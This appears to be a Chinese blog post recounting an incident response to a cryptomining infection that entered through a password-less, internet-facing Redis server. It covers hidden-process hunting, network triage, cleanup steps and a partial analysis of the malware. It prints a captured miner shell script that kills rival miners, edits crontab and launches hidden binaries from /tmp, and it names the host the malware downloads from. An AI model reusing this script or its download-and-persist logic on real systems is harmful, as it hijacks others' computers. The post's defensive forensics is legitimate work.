ps:因爲項目保密的原因部分的截圖是自己在本地的環境復現。
1. 起因
客戶打電話過來說,公司web服務異常卡頓。起初以爲是web服務緩存過多導致,重啓幾次無果後覺得可能是受到了攻擊。起初以爲是ddos攻擊,然後去查看web服務器管理面板時發現網絡鏈接很少,但是cpu佔用高達99%,於是便懷疑是中了挖礦病毒。
2.排查可疑進程
首先發現cpu佔用率過高,初步懷疑是挖礦病毒。於是上ssh開始排查
使用top命令查看進程佔用列表。發現並沒有佔用過高的程序,但是查詢cpu佔用率確實是99%。懷疑是隱藏了linux進程。
以爲是做了進程隱藏,於是寫了個python腳本遍歷/proc目錄。/proc目錄是一個虛擬文件系統,用於提供有關係統內核和運行進程的信息。該目錄中包含一系列以數字命名的子目錄,每個子目錄代表一個正在運行的進程。在這些子目錄中,可以訪問有關進程狀態、內存使用情況、打開的文件列表等信息。
該腳本遍歷proc目錄,查詢ps aux不顯示的進程id,然後顯示打印出來。
import os
def get_max_pid():
pid_list = [int(pid) for pid in os.listdir('/proc') if
pid.isdigit()]
return str(max(pid_list))
def get_existing_process_ids(max_pid):
process_ids = []
for pid in range(1, int(max_pid) + 1):
if os.path.exists('/proc/' + str(pid)):
process_ids.append(str(pid))
return process_ids
def get_ps_aux_process_ids():
process_ids = []
output = os.popen('ps aux').read()
lines = output.split('n')
for line in lines[1:]:
if line.strip() != '':
pid = line.split()[1]
process_ids.append(pid)
return process_ids
max_pid = get_max_pid()
existing_process_ids = get_existing_process_ids(max_pid)
ps_aux_process_ids = get_ps_aux_process_ids()
for pid in existing_process_ids:
if pid not in ps_aux_process_ids:
print('Hidden PID {}'.format(pid))
emmmm, 但是效果不是很理想,有一大部分進程都是殭屍進程。
然後一個一個排查後效果不佳,並無發現什麼可疑進程。
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
3 排查網絡鏈接
於是打算從網絡鏈接中入手,使用netstat-antp進行排查。發現有進程在鏈接47.130.146.28這個ip地址,然後拿這個ip地址反查域名。
發現是綁定的log.softgoldinformation.com這個域名。
然後搜索這個域名,發現之前也有人排查過了。
然後發現其實還有其他ip這裏就不一一截圖了。moneroocean,xmrig,kdevtmpfsi,mysqlserver等病毒基本上都有在鏈接。(服務器基本上已經中了n種病毒了。基本上與各種礦池都有鏈接。)
然後協商客戶運維,設置只允許服務器訪問國內ip地址,這一步主要是爲了能通暢的鏈接ssh。因爲挖礦病毒一般都是挖取xmr,xmr使用的基本上都是cpu,在挖礦進程鏈接不了礦池的情況下通常都不會產生cpu佔用。果然禁止服務器出網後,cpu佔用率就下來了。(也是爲了防止服務器繼續鏈接挖礦者的c2)
4 尋找漏洞
問過客戶服務器有裝什麼軟件,然後說是爲了方便做web數據庫的緩存,半個月之前裝了redis。
使用ps aux|grep redis查看redis端口。
嘗試空密碼鏈接成功。基本確定入口點是redis。
5 補救措施
發現基本已經在跑着幾個挖礦的病毒了。這裏不確定能不能把後門排查完,只能和客戶溝通說先排查一遍看看。(因爲挖礦木馬一般都會有後門,在清理挖礦程序後,後門會自動檢查挖礦程序是否運行,如果不運行的話會重新下載一個挖礦程序然後再次運行。所以在完全清除挖礦程序後一段時間內,cpu佔用率不飆升就可以說明清理成功。反之則說明挖礦病毒並未清理成功。)
首先查看一下定時任務。 發現並無異常。
cat /etc/crontab
然後查看tmp目錄,發現有sh文件,這裏抽取一個sh來分析,基本上/tmp出現這種都可以確定服務器被挖礦了。同理的還有/var/tmp目錄。
ls -la /tmp
隨便打開一個配置文件就能發現,攻擊者的礦池地址和錢包地址。這種情況基本把tmp目錄全部清除即可。
下面是一個solr的挖礦病毒腳本,這裏只是kill掉了挖礦同行的進程和定時任務。
#!/bin/sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
while [ 1 ]
do
killall /tmp/*
killall /var/tmp/*
crontab -l | sed '/195.3.146.118/d' | crontab -
crontab -l | sed '/cf.sh/d' | crontab -
crontab -l | sed '/xms/d' | crontab -
crontab -l | sed '/kwork.sh/d' | crontab -
crontab -l | sed '/cyberium/d' | crontab -
crontab -l | sed '/newdat/d' | crontab -
rm -f /tmp/*
ps aux | grep -v grep | grep 'javaupDates' | awk '{print $2}'
| xargs -I % kill -9 %
ps aux | grep -v grep | grep 'givemexyz' | awk '{print $2}'
| xargs -I % kill -9 %
ps aux | grep -v grep | grep 'dbused' | awk '{print $2}' |
xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}'
| xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' |
xargs -I % kill -9 %
ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep
'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep
'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep
'urlopen' | awk '{print $2}' | xargs -I % kill -9 %
pgrep JavaUpdate | xargs -I % kill -9 %
pgrep kinsing | xargs -I % kill -9 %
pgrep donate | xargs -I % kill -9 %
pgrep kdevtmpfsi | xargs -I % kill -9 %
pgrep trace | xargs -I % kill -9 %
pgrep sysupdate | xargs -I % kill -9 %
pgrep mysqlserver | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'trace' | awk '{print $2}' |
xargs -I % kill -9 %
pkill xmrig
pkill sysupdate
pkill sysguard
pkill kthreaddk
pkill networkservice
pkill kdevtmpfsi
pkill watchbog
p=$(ps auxf|grep solrd|awk '{if($3>=60.0) print $2}')
name=""$p
if [ -z "$name" ]
then
pkill solrd
ps aux | grep -v grep | grep -v
'java|redis|weblogic|solr|mongod|mysql|oracle|tomcat|grep|postgres|confluence|awk|aux|sh'
| awk '{if($3>60.0) print $2}' | xargs -I % kill -9 %
nohup /tmp/.solr/solrd &>>/dev/null &
sleep 30
nohup /tmp/.solr/genshin &>>/dev/null &
sleep 30
else
:
fi
done
•
查看/etc/passwd 是否有惡意用戶
cat /etc/passwd
查看ssh是否有後門用戶 (因爲是redis的洞 很有可能會寫入sshkey)
ls -la /root/.ssh/
然後用clamscan掃描一遍
clamscan -r /
設置redis密碼登錄。(這一步是由客戶人員配置)
然後刪除tmp目錄下的腳本文件
rm -rf /tmp/*.sh
6 腳本分析
這裏抽取其中的一個sh腳本講一下挖礦病毒邏輯,因爲腳本較大,所以這裏是抽取部分代碼過一遍邏輯,實際上常見的挖礦病毒腳本基本都差不多是一個邏輯,所以這裏抽取了一個。
首先腳本的邏輯是從kill掉其他挖礦同行進程開始
然後寫了一個定時任務
然後判斷目標系統位數,到[http://94.103.87.71/]{.underline}去下載病毒程序
這也就是最終的病毒文件
果不其然
最後是自動清理本身
總結
這次事故主要是因爲開發人員不懂安全,直接開放redis數據庫在公網並且不設置登錄密碼。雖然是內網服務器但是萬幸做好了隔離。不然挖礦病毒肯定會在內網進行傳播。
ps:聽說客戶之後去問了開發小哥,開發小哥說隨便在網上找的教程,教程上是這樣配置的就直接複製粘貼上去。所以建議大家在配置東西的時候儘量去查一下文檔。
更多網安技能的在線實操練習,請點擊這裏>>